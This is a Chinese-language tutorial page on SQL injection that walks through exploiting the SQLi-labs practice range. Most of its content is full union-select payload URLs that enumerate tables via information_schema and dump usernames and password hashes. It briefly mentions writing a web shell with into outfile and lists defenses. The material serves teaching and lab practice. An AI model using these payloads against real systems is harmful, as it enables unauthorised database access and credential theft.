SQL注入漏洞详解

这篇具有很好参考价值的文章主要介绍了SQL注入漏洞详解。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

一、SQL注入简介及形成原因

        结构化查询语言(Structured Query Language,简称SQL)是一种特殊目的的编程语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系型数据库。SQL注入漏洞主要形成的原因是Web应用程序对用户的输入没有做严格的判断,导致用户可用将非法的SQL语句拼接到正常的语句中,被当作SQL语句的一部分执行。

 二、SQL注入分类

        ①按照提交的数据类型有:数字型、字符型和搜索型;

        ②按照提交方式有:GET注入、POST注入、cookie注入、HTTP头注入等;

        ③按照执行效果有:基于布尔的盲注、基于时间的盲注、基于报错注入、联合查询注入等;

三、SQL注入示例

        这里以MySQL数据库,使用SQLi-labs靶场演示

SQLi-labs靶场:https://github.com/Audi-1/sqli-labs

 判断是否存在注入点

http://192.168.13.100/sqli-labs/Less-1/?id=1'

在id参数后加单引号使其报错,可以发现它是由单引号闭合的 SQL注入漏洞详解

http://192.168.13.100/sqli-labs/Less-1/?id=1' and 1=1 --+

 使用上面的语句显示正常

SQL注入漏洞详解

http://192.168.13.100/sqli-labs/Less-1/?id=1' and 1=2--+

将 and 1=1 换成 and 1=2 发现访问正常但显示不正常,可以确定存在注入点

SQL注入漏洞详解

判断字段

http://192.168.13.100/sqli-labs/Less-1/?id=1'order by 4 --+

使用上面的语句可以发现报错信息为没有第个字段

SQL注入漏洞详解

http://192.168.13.100/sqli-labs/Less-1/?id=1'order by 3 --+

 将4改为3显示正常,可以确定有3个字段

SQL注入漏洞详解

http://192.168.13.100/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+

这里在参数前加上-号使后面的1,2,3中操作的部分得以显示出来

SQL注入漏洞详解

http://192.168.13.100/sqli-labs/Less-1/?id=-1' union select 1,database(),version() --+

这里我们可以在2和3的位置上添加payload,这里使用database()和version()查看当前数据库和版本

SQL注入漏洞详解

获取security数据库下所有的表名,在MySQL版本>=5.0时MySQL会自带几个数据库其中information_schema数据库存储了所有的数据库名、表名及字段名,我们可以借助这个数据库获取想要的表名及字段名从而获取里面的数据

http://192.168.13.100/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

查看当前数据库下的所有表的名称,发现有4个表,接下来我们要查看users表下的字段名

SQL注入漏洞详解

http://192.168.13.100/sqli-labs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+

我们可以看到users表下有3个字段,接下来要查询username和password

SQL注入漏洞详解

由于该表存储的数据就是一开始显示的无法达到效果,所以下面借助pikachu这个数据库下的users表的内容来展示最后获取的账号和密码信息

SQL注入漏洞详解

http://192.168.13.100/sqli-labs/Less-1/?id=-1' union select 1,username,password from pikachu.users--+

此时账号和密码都爆出来了,密码为MD5加密

SQL注入漏洞详解

成功获取到密码

 SQL注入漏洞详解

 四、总结

        造成SQL注入的主要原因还是在代码层面,没有对用户的输入进行严格的判断和过滤,从而形成SQL注入漏洞,如果条件得当,我们可以直接使用 into_outfile进行写shell;

        防御方式:①为网站添加WAF,虽然WAF不能修复SQL注入漏洞,但是可以拦截敏感数   据以防止SQL注入黑客利用。②在服务器端添加过滤代码将可能引发SQL注入的敏感字符过滤或者转义;③使用SQL预编译。文章来源地址https://www.toymoban.com/news/detail-419238.html

到了这里,关于SQL注入漏洞详解的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 结构化数据处理与分析:Spark SQL 教程

    作者:禅与计算机程序设计艺术 Apache Spark 是由 Apache 基金会开发的开源分布式计算框架,最初用于对大规模数据进行快速的处理,在大数据计算领域占据重要地位。其独特的高性能处理能力及丰富的数据处理功能使得 Spark 在各个行业应用广泛。Spark SQL 是 Spark 提供的用于结构

    2024年02月06日
    浏览(44)
  • 三、计算机理论-关系数据库-结构化查询语言SQL

    SQL 概述 是一种介于关系代数与关系演算之间的语言,现成为关系数据库的标准语言 特点:综合统一、高度非过程化、面向集合的操作方式、以同一种语法结构提供两种使用方式(直接使用或者嵌入高级语言使用)、语言简洁,易学易用。 四大功能如下: SQL功能 动词 数据查

    2024年01月24日
    浏览(55)
  • python序列化和结构化数据详解

    序列化和结构化数据是计算机程序中非常重要的概念,它们的原理和应用在许多应用程序中都是必不可少的。Python作为一种高级编程语言,在序列化和结构化数据方面提供了很多优秀的解决方案。在本文中,我们将详细介绍Python中序列化和结构化数据的相关概念和应用。 1.

    2024年02月08日
    浏览(57)
  • ElasticSearch核心详解、文档、查询响应、分页、映射、结构化查询

    在Elasticsearch中,文档以JSON格式进行存储,可以是复杂的结构,如: 其中,card是一个复杂对象,嵌套的Card对象 元数据(metadata)        一个文档不只有数据。它还包含了元数据(metadata)——关于文档的信息。 三个必须的元数据节点是: index        索引(index)类似于关

    2024年02月12日
    浏览(32)
  • Golang 结构化日志包 log/slog 详解(二):Handler

    上一篇文章介绍了推出 log/slog 包的背景、log/slog 包的简单介绍和使用,简单使用了 Info 函数,例如: 这段代码输出的内容如下: 默认情况下,输出的日志格式是普通的 text 格式,这种格式并不是最适合日志系统的格式。日志系统一般采用 SON 格式或者 key=value 类型的文本格式

    2024年02月09日
    浏览(47)
  • SQL注入(1)--判断是否存在SQL注入漏洞

    不论是学习后端开发/数据库/网络安全,SQL注入安全隐患反复被提起 到底什么是SQL? 维基百科的定义: (1)什么是SQL? SQL是用来操控数据库的语言 (2)举一个例子,现在我们要查询电影“长津湖”的票房数据: 先想象一下开发人员是如何书写代码从数据库中拿到数据的:

    2024年02月05日
    浏览(45)
  • SQL注入之WHERE 子句中的 SQL 注入漏洞

    ● 实验室要求 此实验室在产品类别筛选器中包含 SQL 注入漏洞。当用户选择类别时,应用程序将执行如下所示的 SQL 查询: 若要解决实验室问题,请执行 SQL 注入攻击,使应用程序显示任何类别(已发布和未发布)中所有产品的详细信息。 ● 必要知识点 一个没有安全概念的

    2024年02月14日
    浏览(43)
  • Golang 结构化日志包 log/slog 详解(三):属性字段和日志级别

    上一篇文章讲解了 log/slog 包中的 Handler 的使用方法,通过不同的 Handler  可以输出不同格式的日志。接下来看一下如何自定义日志的属性字段和日志级别。 许多日志都有一些通用的的字段,例如日志级别 level、日志记录时间 time、日志信息 msg 等,这些字段就是属性字段。

    2024年02月09日
    浏览(34)
  • 【SQL注入漏洞-06】HTTP头部注入靶场实战

    常见的sql注入一般是 通过请求参数或者表单进行注入 ,HTTP头部注入是 通过HTTP协议头部字段值进行注入 。 产生HTTP头部注入的条件: 能够对请求头消息进行修改 修改的请求头信息能够带入数据库进行查询 数据库没有对输入的请求信息做过滤 User-Agent :是Http协议中的一部分

    2024年02月02日
    浏览(57)
  • 漏洞原理 SQL 注入

    OWASP漏洞原理启航(第一课)-CSDN博客 OWASP漏洞原理<最基础的数据库 第二课>-CSDN博客 小皮面板(phpstudy

    2024年02月20日
    浏览(41)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包